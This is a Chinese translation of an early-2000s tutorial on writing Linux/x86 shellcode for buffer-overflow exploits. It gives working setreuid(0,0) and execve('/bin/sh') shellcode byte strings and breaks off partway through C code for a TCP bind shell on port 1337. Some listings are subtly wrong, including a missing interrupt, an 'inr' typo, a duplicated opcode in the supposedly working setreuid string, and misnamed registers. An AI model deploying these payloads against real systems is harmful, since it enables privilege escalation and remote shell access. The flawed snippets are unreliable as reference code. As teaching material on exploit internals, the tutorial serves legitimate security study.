UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.
=============================================
作者 : pr1 ( pr10n@u-n-f.com )
翻译 : ICBM@0x557.org
非常感谢keji指出并改正了原文和翻译中出现的错误,THK u !
=============================================
-----------------------------------------------------------------------------------------------
Copyright (c) February 2002, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier)
The following material is property of UNF && pr1.
Do not redistribute this article modified and give proper credit to UNF and pr1 if you
redistribute it or if you write your own article based upon the following material.
-----------------------------------------------------------------------------------------------
1.介绍
在网上并没有几篇好文章介绍怎样编写shellcode,而且很不幸,阅读它们需要有很丰富的汇编知识,所以在这篇文章里我会给大家介绍 Linux/x86汇编知识,并且讲解怎么为Linux/x86书写shellcode。但是,这篇文章中对于ASM的介绍并不完整,我只是讲到一些在对 于编写shellcode方面很重要的部分。我会很好的解释文章里出现过的代码,但是任何东西都代替不了一本好的ASM书籍和一个反编译器。:)
1.2. shellcode是什么
简单地说shellcode就是一组CPU指令。为什么叫做shellcode呢?是因为第一个shellcode只是简单的获得一个shell。 实际上这种功能已经非常原始了:)。因为已经有了远程的shellcode(有UDP也有TCP),破坏chroot的shellcode,给文件加一行 信息的shellcode,setreuid的shellcode等等...因为每个人都这样叫它shellcode所以我会在全文中使用 shellcode一词。
1.3. 我们用shellcode来做什么?
在我们接管了一个进程(希望是root运行的 suid|sgid|deamon)以后,我们通常会让它做一些有用的事情。这里有很多技术像return into libc,GOT overwrite addys,PLT infection,exploiting .dtors ... 如果你不能执行其它函数来完成你需要的任务(像重写函数指针, ...)你就可能需要使用到shellcode。或许只是简单的用某些缓冲地址来改写%eip,然后向后跳到一组NOPS指令中,你的CPU会从已经被改 写过的%eip中向前取址.当你已经编好了一个漏洞攻击程序,在你的输入缓冲区中填入shellcode当%eip指向到shellcode的开始处,它 就会被运行.这样你就赢了!
1.4 我要怎么写shellcode
好了,现在让我们进行这篇文章的主要部分.我现在假设你至少有一定的c语言知识.
=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=
2.汇编
ASM是一种低级编程语言。它甚至可以设定你CPU中的晶体管状态.一个IA-32 CPU有很多寄存器,访问这些寄存器要比直接访问内存快得多。你可以通过给寄存器赋值来告诉你的程序要做什么。最重要的寄存器有:%eax,%ebx,% ecx,%edx,%esp,%esi,%eip,%edi。所有32位CPU的寄存器都是4字节长。你可能认为这些寄存器的名字取得没有一点创意,但你 错了:
# %eax 是累加器。当有系统调用发生时内核会检查%eax中的值,这个值会被用作系统调用号(每个内核提供的系统调用都有它自己的系统调用号).你可以在/usr/include/asm/unistd.h中具体查找这些系统调用号。
# %ebx 是基址寄存器.我们传递给函数的第一个参数就被放在这个寄存器里面.
# %ecx 第二个参数.
# %edx 第三个参数.
# %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部.
# %ebp 是基址寄存器,它指向当前堆栈储存区域的底部.
# %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器)
# %esi and %edi是段寄存器(用它们可以在你的shellcode里存储用户数据)(译者:原文为%eip and %edi)
2.1 修改寄存器:
有很多命令可以用来修改寄存器.你可以通过给一条指令增加后缀来修改一个字节,一个字或者整个寄存器.
例如:movl,movb,movw (long,byte,word)
# mov ...mov指令用来把某值传送到一个寄存器中(数字或者另一个寄存器的内容...).在AT&T语法中(我会在整篇文章中使用这种语法)目标操作数在右边,原操作数在左边.
# inc,dec ...增加或者减少寄存器的值.
# xor ... 这是位运算操作(包括 not,or,and,xor和neg).
在处理shellcode时xor扮演了一个很特殊的角色.
在这里解释一下xor的基本操作:
1异或0为:1,0和0为:0,1和1为:0,因此 xor 4,4是0(100 xor 100 ==000);
#leal ...(表示读取一个long型的有效地址)你可以使用这个指令把一段内存的地址读取到寄存器中.
# int $0x80这是一个中断.简单地说是用来切换到内核模式然后让内核执行我们的函数.
# push,pop ...在堆栈上读取存储数据.
注意:你可以访问一个寄存器低端字中的高字节或者低字节(%al,%ah),一个寄存器中的低端字或者整个(扩展)寄存器(%eax).但是没有方法访问一个寄存器的高端字.
寄存器可以以字节方式(%al,%bh,...),字方式(%ax,%bx,...)和整个方式(%eax,%ebx,...)访问.
预备了这些知识后我可以写一些asm代码然后再写一些shellcode.
让我们用一个Hello, world开始:) (这是没有办法来代替的)
.data
message:
.string "Hello, world\n"
.globl main
main:
# write(int fd,char *message,ssize_t size);
movl $0x4,%eax # 把/usr/include/asm/unistd.h里定义的系统调用4放到%eax中
movl $0x1,%ebx # 标准输出文件描述符(stdout)
movl $message,%ecx # 把message的地址放到%ecx中
movl $0xc,%edx # message的长度
#exit(int returncode);
movl $0x1,%eax # 系统调用号1
xorl %ebx,%ebx # %ebx置零
inr $0x80
注意:这一段代码应为两个原因不能作为shellcode:
1. 不是绝对地址(因为定义了一个数据段)
2. 因为字符串中包含零字符会中断对于字符串的一般操作.
别着急!现在我就会解释制作shellcode的整个过程 ;)
=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=
3. 书写shellcode
3.1 Setreuid shellcode:
我们先从setreuid(0,0)这个小而简单的shellcode开始.
如果程序在有漏洞的函数执行前去掉了特权(通常使用一个seteuid(getuid()) ),我们就需要一个setreuid或者一个seteuid shellcode.
C代码看起来可能是这个样子:
#include <stdio.h>
main(void) {
setreuid(0,0);
exit(0);
}
080483b0 <main>:
80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
80483bf: cd 80 int $0x80
80483c1: 8d 76 00 lea 0x0(%esi),%esi
80483c4: 90 nop
80483c5: 90 nop
80483c6: 90 nop
80483c7: 90 nop
80483c8: 90 nop
80483c9: 90 nop
80483ca: 90 nop
80483cb: 90 nop
80483cc: 90 nop
80483cd: 90 nop
80483ce: 90 nop
80483cf: 90 nop
这就是由我们的编译器生成的整个主函数.但是我们只需要setreuid段:
80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
80483bf: cd 80 int $0x80
因此setreuid shellcode就是这样:
"\xb8\x46\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xb9\x00\x00\x00\x00"
"\xcd\x80"
如果你把上面这个shellcode整个看了一遍,你可能会注意到其中的NULL字节(\x00)比指令还多。但不幸的是我们不能在 shellcode中使用任何NULL。因为通常我们要溢出的是c程序,但是在c语言中没有字符串数据类型。而是使用一个字节长的指针(char *)指向内存中的一个字节,一个NULL出现在字符串的结尾。像strcpy,strcat这样的操作字符串的函数但遇到第一个NULL时会停止拷贝,以 为它们认为NULL就是字符串的结尾。
因此但我们溢出一个程序时,只有"\xb8\x46\"会被从我们的setreuid shellcode 中拷贝出来。
现在我们所要做的就是重写我们的汇编代码使我们的shellcode中没有NULL字节。就像你看到的这是包含NULL的函数:
80483b0: b8 46 00 00 00 movl $0x46,%eax
80483b5: bb 00 00 00 00 movl $0x0,%ebx
80483ba: b9 00 00 00 00 movl $0x0,%ecx
我们必须找到等同的不产生NULL字节的指令:
80483b0: b8 46 00 00 00 movl $0x46,%eax
这个指令被编码成[opcode|destination][4 byte immediate value]。因为我们的立即数只是0x46而操作类型long中的其它字节就没有被使用到。
我们可以写成:
80483c6: 31 c0 xorl %eax,%eax
80483c8: b0 46 movb $0x46,%al
xorl使%eax清零,因为当我们改变低8位的时候我们不能确定%eax是否为空。如果我们没有把寄存器清零当%ah中有其它数值的话内核可能会 执行错误的系统调用。movb指令被编码成[opcode|register][1 byte immediate value]格式,所以我们可以在一字节里使用到最大数255。
以下是逻辑上相等的但没有NULL的setreuid代码:
80483b0: 31 c0 xorl %eax,%eax
80483b2: 31 db xorl %ebx,%ebx
80483b4: 31 c9 xorl %ecx,%ecx
80483b6: b0 46 movb $0x46,%al
80483b8: cd 80 int $0x80
这是我们可以工作的shellcode:
"\x31\xc0"
"\x31\xdb"
"\x31\xdb"
"\xb0\x46"
"\xcd\x80"
除了没有NULL之外,一个好的shellcode应该尽可能小。shellcode越小可以放入缓存中的NOPs就越多,因此增加了猜中正确返回地址的机会。
3.2 Making your shellcode portable:
你可能不会知道远程系统太多的信息。或者你没有足够的权限来找出远程系统上的信息。或者你甚至还没有访问远程系统的权限。这样一些原因不要让你写出 shellcode只能适用于一种系统。因此在写shellcode时不要使用绝对地址,你需要的数据刚好在正确的地址的机会很小。通常写 shellcode时要使用相对地址。
e.g:我们不会写成:jmp 0x80483b8而我们写成:jmp $0x1a
3.3 获得shell的shellcode:
用c获得一个shell是这样的:
#include <stdio.h>
main(void) {
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
就像你所看到的,我们需要一个字符串( "/bin/sh" )让execve知道我们想要运行什么。但是我们必须找到引用"/bin/sh"的相对地址。
如果你了解一些关于Intel构架和通用CPU构架的知识,你就可能会知道要被执行的下一条指令的内存地址被存放在%eip中通常被叫做pc或者program counter。如果程序调用了一个子函数,子函数返回后将要执行的指令的地址一定会被存储到某个地方。
相关于一些Risc CPU这个地址可以像这样被存储的寄存器种:
jal addy,reg /* 跳转到addy然后把pc+4存储到reg */
jr reg /* 我们的子函数返回跳转到存储在reg中的addy */
对于我们的Intel Cisc:
call sub_func /* 跳到子函数然后把%eip+4压入堆栈 */
ret /* 函数跳回到堆栈上存储的地址 */
我们可以说下一条指令的地址被call压入堆栈中。
因此我们可以使用一个小窍门:
call some_offset /* 调用被压入堆栈的"/bin/sh" ( pc+4 )的地址 */
.string "/bin/sh"
注意到字符串"/bin/sh"位于.text ( 或者code )段。CPU不应该执行这段代码:"/bin/sh"(2f62696e2f7368)因为它只是我们需要的字符串,所以我们应该让CPU跳过执行这段代码。
让我们来看一个得到这个字符串"/bin/sh"的地址,并且能够避免执行这段代码"/bin/sh"(2f62696e2f7368)的完整的例子。
.globl main
main:
jmp to_call
after_jmp:
popl %esi /* 地址现在已经在%esi里了 */
/* 退出 */
xorl %eax,%eax
incl %eax
int $0x80
to_call:
call after_jmp (译者:原文为call offset)
.string "/bin/sh"
我们跳到call让它工作,然后返回,从堆栈pop出地址然后退出。
static char lnx_execve[]=
"\xeb\x1d" // jmp 0x1d /* 得到 "/bin/sh" 地址 */
"\x5b" // popl %ebx /* 出栈 "/bin/sh" 的地址 */
"\x31\xc0" // xorl %eax,%eax
"\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 把地址拷贝到 %ebx+0x8 */
"\x88\x43\x07" // movb %al,0x7(%ebx) /* 用NULL做字符串的结束符 */
"\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 用NULL做参数的结束符 */
"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh的地址读到 %ecx */
"\x8d\x53\x0c" // leal 0xc(%ebx),%edx /* 把NULL读到 %edx */
"\xb0\x0b" // movb $0xb,%al /* 执行系统调用 */
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax /* 然后退出避免无限循环 */
"\x21\xd8" // andl %ebx,%eax
"\x40" // incl %eax
"\xcd\x80" // int $0x80
"\xe8\xde\xff\xff\xff" // call -0xde
"/bin/sh";
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
4.0 更高级的Shellcodes:
顾及到远程溢出我们需要其它种类的shellcode。我们不能只从远程获得一个shell。因此我们的shellcode需要网络能力。绑定一个shell到一个端口我们可以这样写:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
main(void) {
char *exec[2];
int fd,fd2;
struct sockaddr_in addy;
addy.sin_addr.s_addr = INADDR_ANY;
addy.sin_port = htons(1337);
addy.sin_family = AF_INET;
exec[0]="/bin/sh";
exec[1]="sh";
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(fd,&addy,sizeof(struct sockaddr_in));
listen(fd,1);
fd2 = accept(fd,NULL,0);
dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);